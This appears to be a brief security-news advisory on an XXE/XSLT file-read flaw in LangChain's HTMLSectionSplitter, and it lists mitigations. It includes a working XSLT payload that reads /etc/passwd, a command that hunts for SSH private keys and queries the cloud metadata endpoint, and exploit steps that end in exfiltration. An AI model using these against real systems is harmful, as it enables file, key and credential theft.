Listen to this Post
The vulnerability in LangChain’s HTMLSectionSplitter class stems from its unsafe handling of XSLT stylesheets. The class uses `lxml.etree.parse()` and `lxml.etree.XSLT()` to process arbitrary XSLT inputs without proper security controls. In lxml versions up to 4.9.x, the parser resolves external entities by default, permitting attackers to read local files or initiate outbound HTTP requests via a malicious XSLT. For lxml 5.0+, while general entity expansion is disabled, the powerful XSLT `document()` function remains active. Without applying `XSLTAccessControl` to restrict this function, an attacker can supply a crafted XSLT that uses `document()` to access any URI accessible to the LangChain process, leading to unauthorized file system reads.
Platform: LangChain Text Splitters
Version: Pre-fix versions
Vulnerability: XXE via XSLT
Severity: High
date: 2025-10-06
Prediction: Patch by 2025-10-20
What Undercode Say:
find / -name "id_rsa" 2>/dev/null curl http://169.254.169.254/latest/meta-data/
malicious_xslt = """<?xml version="1.0"?> <!DOCTYPE xsl:stylesheet [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <output>&xxe;</output> </xsl:template> </xsl:stylesheet>"""
How Exploit:
Craft malicious XSLT.
Supply XSLT to HTMLSectionSplitter.
XSLT parses, fetches sensitive data.
Exfiltrate data via HTTP or output.
Protection from this CVE
Update LangChain Text Splitters.
Apply XSLTAccessControl restrictions.
Sanitize XSLT inputs.
Use lxml 5.0+.
Impact:
Arbitrary File Read.
Information Disclosure.
SSH Key Theft.
Cloud Metadata Access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
